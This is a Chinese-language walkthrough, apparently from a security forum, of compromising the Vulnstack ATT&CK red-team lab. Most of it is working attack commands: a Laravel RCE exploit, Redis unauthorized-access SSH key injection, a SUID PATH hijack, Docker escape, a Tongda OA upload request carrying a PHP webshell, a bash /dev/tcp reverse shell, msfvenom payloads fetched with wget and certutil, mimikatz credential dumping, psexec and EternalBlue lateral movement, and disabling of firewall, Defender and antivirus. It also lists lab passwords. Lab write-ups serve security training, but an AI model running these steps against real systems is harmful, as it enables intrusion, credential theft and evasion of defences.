所涉及到的知识点:

1、WEB安全-漏洞发现及利用
2、系统安全-权限提升(漏洞&配置&逃逸)
3、内网安全-横向移动(口令传递&系统漏洞)

实战演练-ATT&CK实战系列-红队评估

环境下载:

http://vulnstack.qiyuanxuetang.net/vuln/detail/9/
利用资源:
https://github.com/SecPros-Team/laravel-CVE-2021-3129-EXP
https://github.com/briskets/CVE-2021-3493
https://blog.csdn.net/szgyunyun/article/details/107104288
参考WP:
https://www.freebuf.com/articles/network/264560.html
涉及技术:
1.漏洞搜索与利用
2.Laravel Debug mode RCE(CVE-2021-3129)漏洞利用
3.Docker逃逸
4.通达OA v11.3 漏洞利用
5.Linux环境变量提权
6.Redis 未授权访问漏洞
7.Linux sudo权限提升(CVE-2021-3156)漏洞利用
8.SSH密钥利用
9.Windows NetLogon 域内权限提升(CVE-2020-1472)漏洞利用
10.MS14-068漏洞利用

服务配置

靶场中各个主机都运行着相应的服务并且没有自启功能,如果你关闭了靶机,再次启动时还需要在相
应 的主机上启动靶机服务:

DMZ区的 Ubuntu 需要启动nginx服务:(web1)

1 sudo redis-server /etc/redis.conf 
2 sudo /usr/sbin/nginx -c /etc/nginx/nginx.conf 
3 sudo iptables -F

第二层网络的 Ubuntu需要启动docker容器:(web2)

1 sudo service docker start 
2 sudo docker start 8e172820ac78

第三层网络的 Windows 7 (PC 1)需要启动通达OA:

1 C:\MYOA\bin\AutoConfig.exe

域用户信息

域用户账户和密码如下:

Administrator:Whoami2021
whoami:Whoami2021
bunny:Bunny2021
moretz:Moretz2021

Ubuntu 1:

web:web2021

Ubuntu 2:

ubuntu:ubuntu

通达OA账户:

admin:admin657260

kali开启ssh服务

/etc/init.d/ssh start xshell 连接22端口和kali的ip

渗透过程


1.用kali扫描web1的外网端口(这里是46.160,kali是46.158地址)
nmap -T4 -sC -sV 192.168.46.160
2.扫描出该ip地址81端口开放,则判断出使用的是laravel,以此来进行漏洞利用

81端口:laravel 存在最新漏洞
python laravel-CVE-2021-3129-EXP.py http://目标地址
https://github.com/SecPros-Team/laravel-CVE-2021-3129-EXP    项目地址

3.用哥斯拉工具连接上传成功的后门,

将有效载荷和加密器改为php的

4.在上线之前先判断对方的搭建系统,出现这个就代表对方用的是docker来搭建的,那么接下来所要考虑的就是如何来进行docker逃逸。这里我上传冰蝎的木马改用冰蝎,是因为个人喜好冰蝎的工具,各位师傅可以上传其他后门改用蚁剑菜刀连接都可以。

5.这里我们将web权限反弹到msf是不成功的
其一:是因为对放将81端口代理到52.20:8000端口上,这里肯定是连接不通的,因为我们的msf主机和对方的52网段的不出网机子不通
其二:后门的代理没有走第一层网络 所以连接不上web2上的主机

6..所以我们入侵该主机并不能造成太大的威胁,借此我们要入侵web1的其他端口(kali扫描全部端口)扫到了6379的端口redis
nmap -T4 -sC -sV -p1-65535 192.168.xx.xxx

7.Ubuntu 1 DMZ渗透 redis未授权判断如果进入就代表有redis未授权(kali运行)
redis-cli -h 192.168.xx.xxxxx
7.1Redis未授权访问-ssh密匙 生成公钥(kali 上执行)
ssh-keygen -t rsa
7.2将公钥导入1.txt文件
echo -e "\n\n"; cat /root/.ssh/id_rsa.pub; echo -e "\n\n") > 1.txt
7.3把1.txt文件内容写入目标主机的redis缓冲中
cat 1.txt | redis-cli -h 192.168.46.160(web主机) -p 6379(redis端口) -x set hello
7.4设置redis的备份路径为/root/.ssh/
config set dir /root/.ssh
7.5设置保存文件名为authorized_keys
config set dbfilename authorized_keys
7.6将数据保存在目标服务器硬盘上
save
7.7连接web1上的主机
ssh root@192.168.46.160

7.8获取web1的主机

8.因为连接到web1的主机,所以这里生成正向反向的后门都可以,我这里生成的是反向连接的后门
msfvenom -p linux/x64/meterpreter/reverse_tcp lhost=192.168.46.158 lport=6666 -f elf -o p1.elf

9.在将生成的后门放到刚刚连接到的web1的文件下

10.在用redis未授权访问的web1下载这个后门
wget http://192.168.46.160:81/p1.elf

11.在这个后门执行前,kali上要启用msf的监听模块

msfconsole                                      开启msf
use exploit/multi/handler                       使用监听模块
set payload linux/x64/meterpreter/reverse_tcp   设置刚刚生成后门的模块
set lhost 192.168.46.158                        设置ip
set lport 6666                                  设置端口
exploit                                         攻击

12.redis未授权访问的主机执行后门代码

![image.png](https://xzfile.aliyuncs.com/media/upload/picture/20220129150107-3b7a515e-80d1-1.png)

13.然后进入到他的主机之后来进行横向渗透,首先来来利用msf强大的路由功能来获取其他网段的路由

sessions 1 回到会话中
run get_local_subnets 获取本地路由
run autoroute -p 查询本地路由
run post/multi/manage/autoroute 得到本地路由

![image.png](https://xzfile.aliyuncs.com/media/upload/picture/20220129150333-92bc573c-80d1-1.png)

14.内网探针来查询52网段有那些ip地址存活,可能只扫到一个30的地址,其实还可以ping到20的地址

background 返回
use auxiliary/scanner/discovery/udp_probe 使用扫描模块
show options 展示选项
set rhosts 192.168.52.1-255 设置主机范围
set threads 10 设置线程
run 运行

![image.png](https://xzfile.aliyuncs.com/media/upload/picture/20220129150408-a7491e56-80d1-1.png)

15.在利用环境变量配合SUID本地提权
```find / -user root -perm -4000 -print 2>/dev/null

16.通过对文件反编译或源代码查看,覆盖其执行环境变量,直接让其执行指定程序获取权限

cd /home/jobs
./shell
chmod 777 ps
cp /bin/bash /tmp/ps

17.因为环境变量问题所以我们将这个二层网络的主机反弹到一层网络主机上面所以在创建一个kali会话连接到第一层的网络主机上面,设置nc将二层网络主机的权限反弹到一层主机上面
nc -lvp 1234

18.将web权限反弹到第一层主机上
bash -c 'exec bash -i >& /dev/tcp/192.168.52.10/1234 0>&1'

19.添加环境变量

export PATH=/tmp:$PATH          添加环境变量
echo $PATH                      查看环境变量

20.在来使用shell提升权限

./shell
id              查看权限

21.kali生成正向连接的后门由此来连接
msfvenom -p linux/x64/meterpreter/bind_tcp lport=7777 -f elf -o p2.elf 生成正向连接的后门

22.在将这个后门放到冰蝎连接上的web主机上面

23.在来使用kali的msf监听这个后门

use exploit/multi/handler
set payload linux/x64/meterpreter/bind_tcp 
show options
set lport 7777
set rhost 192.168.52.20                 主机连接对方的ip地址
exploit


  1. 然后在提权的机器上运行后门发现不成功,这就是涉及到前面所提及到的dokcer(为了确保能木马能运行,在真实机上运行试验一下验证)

25.docker逃逸在那台提权上的主机上进行逃逸

fdisk -l                 查看磁盘文件
ls /dev                  查看设备文件
cd /
mkdir hello
mount /dev/sda1 /hello
ls /hello
覆盖密匙:
cp -avx /hello/home/ubuntu/.ssh/id_rsa.pub /hello/home/ubuntu/.ssh/authorized_keys                                                                                -avx将权限也一起复制
echo > /hello/home/ubuntu/.ssh/authorized_keys                   清空authorized_keys文件
echo '26步骤生成的密钥' > /hello/home/ubuntu/.ssh/authorized_keys      将ssh秘钥写入

26.pc1上覆盖密钥(重新建立一个kali的终端)

ssh root@192.168.46.160         重新连接kali
cat hello.pub                   查看密钥
ssh-keygen -f hello             生成密钥
chmod 600 hello                 给予权限
ls
cat  hello.pub

27.25步骤写入了密钥就可以连接52.20的主机(刚刚创建密钥的主机上连接)
ssh -i hello ubuntu@192.168.52.20

28.在来运行该木马

29.然后建立的msf的监听就能接受到会话

30.然后再来进入到ubuntu的会话中查看路由地址,就能添加到93的主机地址

session 4
run get_local_subnets

run autoroute -p
run post/multi/manage/autoroute

31.现在我们已经拿下了20和10的主机,我们要拿下30的主机,我们要使用nmap来扫描ip地址的服务,虽然我们这台msf有52网段的ip路由,但是nmap不是msf内置的工具,所以我们可以设置一个代理来使用nmap扫描工具。

32.这里我使用msf自带的扫描模块

use auxiliary/scanner/portscan/tcp
show options
set rhosts 192.168.52.30
set threads 10
exploit

33.然后在用kali机连接到这个oa系统,前提win7上打开了oa系统,kali的浏览器上设置代理,使用burpsuite抓包

![image.png](https://xzfile.aliyuncs.com/media/upload/picture/20220129163739-b7d84d5c-80de-1.png)

34. 这里就是使用通达OA系统的RCE和前台任意用户登录漏洞
    34.1先在登录处抓包
![](https://xzfile.aliyuncs.com/media/upload/picture/20220129164114-37ce65f0-80df-1.png)
    34.2修改在路径,删除cookie,添加Uid

![image.png](https://xzfile.aliyuncs.com/media/upload/picture/20220129164129-409196c6-80df-1.png)

    34.3然后就会返回这个cookie在来利用这个cookie未授权访问
![image.png](https://xzfile.aliyuncs.com/media/upload/picture/20220129164221-5f87884c-80df-1.png)

    34.4用获取的SESSID访问/general/
![image.png](https://xzfile.aliyuncs.com/media/upload/picture/20220129164247-6f26dca8-80df-1.png)

    34.5未授权文件上传 任意文件上传漏洞 /ispirit/im/upload.php,在来直接使用这个数据包修改ip和端口号就行

POST /ispirit/im/upload.php HTTP/1.1
Host: xxxx:xx
Content-Length: 658
Cache-Control: no-cache
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarypyfBh1YB4pV8McGB
Accept: /
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,zh-HK;q=0.8,ja;q=0.7,en;q=0.6,zh-TW;q=0.5
Cookie: PHPSESSID=123
Connection: close

------WebKitFormBoundarypyfBh1YB4pV8McGB
Content-Disposition: form-data; name="UPLOAD_MODE"

2
------WebKitFormBoundarypyfBh1YB4pV8McGB
Content-Disposition: form-data; name="P"

123
------WebKitFormBoundarypyfBh1YB4pV8McGB
Content-Disposition: form-data; name="DEST_UID"

1
------WebKitFormBoundarypyfBh1YB4pV8McGB
Content-Disposition: form-data; name="ATTACHMENT"; filename="jpg"
Content-Type: image/jpeg

<?php
$command=$_POST['cmd'];
$wsh = new COM('WScript.shell');
$exec = $wsh->exec("cmd /c ".$command);
$stdout = $exec->StdOut();
$stroutput = $stdout->ReadAll();
echo $stroutput;
?>
------WebKitFormBoundarypyfBh1YB4pV8McGB--

34.6在来使用文件包含来  命令执行

POST /ispirit/interface/gateway.php HTTP/1.1
Host: ip:端口
Connection: keep-alive
Accept-Encoding: gzip, deflate
Accept: /
User-Agent: python-requests/2.21.0
Content-Length: 69
Content-Type: application/x-www-form-urlencoded

json={"url":"/general/../../attach/im/图片路径"}&cmd=whoami

34.7发现可以命令执行,再来下载一个后门代码,前提是要生成一个windows后门木马,将木马放到web1的目录上
```msfvenom -p windows/meterpreter/bind_tcp LPORT=7777 -f exe > w7.exe

34.8再来下载这个木马,执行我们的上线

certutil -urlcache -split -f http://192.168.52.10:81/w7.exe c:/w7.exe

34.9使用木马前监听这个后门
use exploit/multi/handler
set payload windows/meterpreter/bind_tcp
set rhost 192.168.52.30
set lport 7777
exploit

34.10 再来使用这个木马执行上线操作
![image.png](https://xzfile.aliyuncs.com/media/upload/picture/20220129164752-2546c52a-80e0-1.png)

35.成功之后发现有session5
```background
sessions
sessions 5

37.然后在利用msf自带的扫描模块扫描

background
use auxiliary/scanner/discover/udp_proe
show options
set rhosts 192.168.93.1-50
run

38.发现对方开放的ip地址和端口

第一种情况是关闭了防火墙可直接执行上线操作

39.其一:利用ms17010

use auxiliary/scanner/smb/smb_ms17_010      扫描是否有ms17010漏洞
show options
set rhosts 192.168.93.20-30                 扫描20-30网段
exploit

40.发现有两台主机可以利用

41.其二:使用mimikatz来攻击

sessions
sessions 5
load kiwi           载入mimikatz

42.如果这里提示x32不能执行x64,那就要移植进程
kiwi_cmd sekurlsa::logonpasswords 获取账号密码

43.先执行ps命令获取一个x64的system权限进程

ps
migrate 4012            移植4012进程

44.再来执行刚刚的命令
kiwi_cmd sekurlsa::logonpasswords 获取账号密码

45.获取到administartor账号密码就来利用msf的psexec模块

background
use exploit/windows/smb/psexec
set payload windows/meterpreter/bind_tcp        改为正向连接
set rhost 192.168.93.30                         设置主机
show options
set smbuser                                     获取到的administrator账号     设置账号
set smbpass                                     获取到的密码                  设置密码
exploit

46.其三:利用smb的ms17010的psexec的模块

use exploit/windows/smb/ms17_010_psexec         使用模块
set payload windows/meterpreter/bind_tcp        设置正向连接
set rhost 192.168.93.40                         设置ip

开启防火墙

47.这就是开启了防火墙,攻击能成功但是反弹不了会话

48.首先建立session
sessions 5

49.返回shell终端

![image.png](https://xzfile.aliyuncs.com/media/upload/picture/20220129170124-08eca546-80e2-1.png)

50.强制关闭防火墙

net use \192.168.93.30\ipc$ "Whoami2021" /user:"Administrator"
sc \192.168.93.30 create unablefirewall binpath= "netsh advfirewall set allprofiles state off"
sc \192.168.93.30 start unablefirewall

![image.png](https://xzfile.aliyuncs.com/media/upload/picture/20220129170141-136969a0-80e2-1.png)

51.之后就可以继续攻击

background
exploit

![image.png](https://xzfile.aliyuncs.com/media/upload/picture/20220129170229-300b3480-80e2-1.png)

52.攻击win7的ms17010的模块

background
use exploit/windows/smb/ms17_010_eternalblue
show options
set payload windows/x64/meterpreter/bind_tcp 改为正向连接
set rhost 192.168.93.40
run
```

补充:

关闭防火墙: netsh advfirewall set allprofiles state off
关闭win10的防火墙Denfender: net stop windefend
关闭DEP: bcdedit.exe/set{current}nx alwaysoff
关闭杀毒软件: run killav run post/windows/manage/killava

后记:本人初学内网,所以技术会有些菜,请各位师傅多多点播一下我。如文章有瑕疵,请师傅们批评指点一下.

点击收藏 | 0 关注 | 3
  • 动动手指,沙发就是你的了!
登录 后跟帖